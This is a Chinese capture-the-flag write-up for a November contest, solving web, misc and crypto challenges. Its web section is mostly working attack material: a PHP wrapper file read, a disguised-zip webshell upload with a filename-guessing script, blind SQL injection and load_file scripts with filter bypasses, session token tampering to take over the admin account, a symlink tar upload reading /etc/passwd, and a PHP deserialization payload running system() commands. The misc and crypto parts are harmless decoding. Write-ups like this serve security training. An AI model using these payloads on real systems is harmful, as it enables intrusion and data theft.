Web
image_up
看到http://101.71.29.5:10007/index.php?page=login
后,尝试用伪协议读login
源码:
?page=php://filter/convert.base64-encode/resource=login
没啥东西,去读upload源码:
这里要通过phar://
伪协议来getshell。
把写入一句话木马的shell.jpg
压缩成shell.zip
,再把shell.zip
重命名为shell.jpg
。上传上去即可。
文件上传名会被重命名为md5($temp[0].time())
后的名字。$temp[0]
和time()
可控。于是构造脚本去猜解:
import time
import requests
import hashlib
def md5(str1):
m = hashlib.md5()
m.update(str1.encode())
return m.hexdigest()
url = "http://101.71.29.5:10007/"
files = {
"image":("shell.jpg",open("shell.jpg","rb"))
}
print(files)
t = int(time.time())
requests.post(url=(url+"upload.php"),files=files)
for i in range(t-20,t+20):
path = "uploads/"+md5("shell"+str(i))+".jpg"
status = requests.get(url=url+path).status_code
print(status)
if status == 200:
print(path)
break
计算得到文件名,然后通过伪协议来读文件:
/index.php?page=zip://./uploads/6bff3b7c5c6fd2280dbd1b4d283e067b.jpg%23shell
post:cmd=phpinfo();
找一下就有flag。
好黑的黑名单
访问
show.php?id=1
,猜测
id
可能存在sql注入。
这里过滤了空格,用
%0a
来绕过,要用
between and
来代替逻辑操作符。单引号也被过滤,可以用16进制来绕过。构造payload:
?id=2%0aand%0a(select%0a(select%0adatabase())%0abetween%0a0x61%0aand%0a0x7a)
具体python脚本略。
interesting web
注册要填写ip
,填写自己云主机的ip
:
注册登录后看到:
猜测要拿到admin的权限。
尝试找回密码。
找到
cookie
里的
session
值:
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.Dt-qLg.jQhdDITh-UPM8E4DJRJISskZ9tw
。
把
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0
这段
base64
解密后可得:
{"login":true,"token":{" b":"OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg="},"username":"admin"}
里面的OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg=
是base64
,解码后的963cfa4cd30e61e95e0e22d2715499e8
就是token
值。
成功修改了
admin
账户后登录。
先在自己的linux系统上创建个软连接文件:
$ ln -s /etc/passwd hack.jpg
$ cat hack.jpg
看到是可以读文件的。然后生成
tar
包。
$ tar -czvf hack.tar hack.jpg
上传:
访问
/download/hack.jpg
。
另存为打开就可以看到flag。
ez sql
注册登录后,查看用户信息可以看到:
url变成了
user.php?id=97
。猜测可能存在sql注入。
这里要用sql读文件来注入绕过,payload:
user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
# 正常页面信息丢失
最后写脚本:
import requests
import string
import binascii
to_hex = lambda s : binascii.hexlify(s) # 把字符串都转换成16进制编码
char = '0123456789ABCDEF'
filename = '/var/www/html/index.php'
c = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s))like(0x%s),1,2)'
for _ in range(10000):
for i in char:
payload = c + i + '%'
_url = url % (to_hex(filename),to_hex(payload))
res = requests.get(_url,cookies={'PHPSESSID':'ep0qqe8899uorseum9oq7lvb11'})
if b'2018' in res.content:
print '....' + payload
c = c + i
break
可以读到index.php
、waf.php
、config/config.php
、config/sys_config.php
。
最主要是index.php
里这段:
可以看到$config
传递了COOKIE里的CONFIG
参数。
看到config.php
里的$config = unserialize(base64_decode($config));
,可以看到是PHP反序列化注入漏洞,并且可以通过call_user_func
执行命令。
构造:
filter=array('system');
echo base64_encode(serialize($f));
?>
/index.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
可以看到waf.php
里过滤了空格和/
,构造$IFS
和expr
绕过。
最终payload:
/index.php?p=cat$IFS..`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag2333`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
Misc
Numeric Password
百度
110个数字密码
,按照密码表对照得到
content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]
。
这个又经过移位加密,数字范围在
18~95
,而ascii可见字段在
33~126
,则移位的范围为
20~32
,最后编写脚本可得:
content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]
enc = ''
for j in range(20,32):
for i in content:
enc += chr(i+j)
print(enc)
enc = ''
得到flag
Crypto
仿射密码
利用在线解密网站:https://www.wishingstarmoye.com/ctf/affinecipher
。
b=7,a=11即可得到flag。
简单的密码学2
CBC字节反转攻击。
参考链接
安恒杯 11月赛 WP